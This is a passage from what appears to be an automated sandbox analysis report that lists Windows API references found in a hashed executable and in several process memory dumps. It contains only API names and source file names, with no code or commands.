"1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "GetWindowRect"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "EnableMenuItem"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "GetSystemMenu"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "IsWindowEnabled"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "SetWindowPos"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "GetSysColor"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "SetCursor"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "LoadCursorW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "IsWindowVisible"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "CloseClipboard"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "SetClipboardData"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "EmptyClipboard"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "OpenClipboard"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "TrackPopupMenu"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "AppendMenuW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "CreatePopupMenu"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "GetSystemMetrics"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "CharPrevW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "CharNextA"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "wsprintfA"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "DispatchMessageW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "PeekMessageW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "SelectObject"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "CreateFontIndirectW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "DeleteObject"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "GetDeviceCaps"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "MulDiv"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "DeleteFileW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "FindFirstFileW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "FindNextFileW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "FindClose"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "SetFilePointer"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "ReadFile"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "MultiByteToWideChar"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "lstrlenA"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "GetPrivateProfileStringW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "WritePrivateProfileStringW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "FreeLibrary"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "LoadLibraryExW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "GetModuleHandleW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "GlobalAlloc"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "GlobalFree"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "lstrcmpW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "lstrcmpiW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "CloseHandle"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "SetFileTime"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "CompareFileTime"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "SearchPathW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "GetShortPathNameW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "GetFullPathNameW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "MoveFileW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "SetCurrentDirectoryW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "GetFileAttributesW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "SetFileAttributesW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "Sleep"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "GetTickCount"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "GetFileSize"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "GetModuleFileNameW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "GetCurrentProcess"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "ExitProcess"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "CopyFileW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "SetEnvironmentVariableW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "GetWindowsDirectoryW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "GetTempPathW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "GetCommandLineW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "GetVersionExW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "SetErrorMode"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "lstrlenW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "lstrcpynW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "WideCharToMultiByte"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "GetDiskFreeSpaceW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "GlobalUnlock"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "GlobalLock"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "CreateThread"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "GetLastError"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "CreateDirectoryW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "CreateProcessW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "RemoveDirectoryW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "lstrcmpiA"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "CreateFileW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "GetTempFileNameW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "WriteFile"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "lstrcpyA"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "MoveFileExW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "lstrcatW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "GetSystemDirectoryW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "GetProcAddress"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "GetModuleHandleA"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "GetExitCodeProcess"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "WaitForSingleObject"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "VerQueryValueW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "GetFileVersionInfoW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "SHGetFolderPathW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "SHGetKnownFolderPath"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "RegDeleteKeyExW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "GetUserDefaultUILanguage"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "GetDiskFreeSpaceExW"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "SetDefaultDllDirectories"; File: "1544dbca0efc2c0105dd7d52a21a8891.exe") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp, 00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp, 00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp, 00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp, 00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp, 00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp, 00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp, 00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp, 00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp, 00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp, 00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp") Found reference to API (Indicator: "VerifyVersionInfoW"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleTitleW"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp, 00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp, 00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp, 00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp, 00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp, 00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp, 00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp, 00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp, 00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp, 00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp, 00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp, 00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp, 00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp, 00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp, 00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp, 00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp, 00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp, 00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp, 00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp, 00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp, 00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp, 00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp, 00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp, 00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00005716.00000000.176793.01311000.00000002.mdmp") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00005716.00000000.176793.73171000.00000020.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00005716.00000000.176793.73171000.00000020.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00005716.00000000.176793.73171000.00000020.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00005716.00000000.176793.73171000.00000020.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00005716.00000000.176793.73171000.00000020.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeExW"; Source: "00000000-00005716.00000000.176793.73171000.00000020.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00005716.00000000.176793.73171000.00000020.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00005716.00000000.176793.73171000.00000020.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00005716.00000000.176793.73171000.00000020.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00005716.00000000.176793.73171000.00000020.mdmp, 00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00005716.00000000.176793.73171000.00000020.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "GetProcessTimes"; Source: "00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "StringFromGUID2"; Source: "00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "DisableThreadLibraryCalls"; Source: "00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "FindResourceW"; Source: "00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00005716.00000000.176793.73185000.00000002.mdmp") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00006632.00000000.177536.01301000.00000020.mdmp, 00000000-00006632.00000000.177536.72FF1000.00000020.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00006632.00000000.177536.01301000.00000020.mdmp, 00000000-00006632.00000000.177536.72FF1000.00000020.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00006632.00000000.177536.01301000.00000020.mdmp, 00000000-00006632.00000000.177536.72FF1000.00000020.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp, 00000000-00006632.00000000.177536.73005000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp, 00000000-00006632.00000000.177536.73005000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp, 00000000-00006632.00000000.177536.73005000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp, 00000000-00006632.00000000.177536.73005000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp, 00000000-00006632.00000000.177536.73005000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp, 00000000-00006632.00000000.177536.73005000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp, 00000000-00006632.00000000.177536.73005000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp, 00000000-00006632.00000000.177536.73005000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp, 00000000-00006632.00000000.177536.73005000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp, 00000000-00006632.00000000.177536.73005000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp") Found reference to API (Indicator: "VerifyVersionInfoW"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleTitleW"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp, 00000000-00006632.00000000.177536.73005000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp, 00000000-00006632.00000000.177536.73005000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp, 00000000-00006632.00000000.177536.73005000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp, 00000000-00006632.00000000.177536.73005000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp, 00000000-00006632.00000000.177536.73005000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp, 00000000-00006632.00000000.177536.73005000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp, 00000000-00006632.00000000.177536.73005000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp, 00000000-00006632.00000000.177536.73005000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00006632.00000000.177536.01311000.00000002.mdmp, 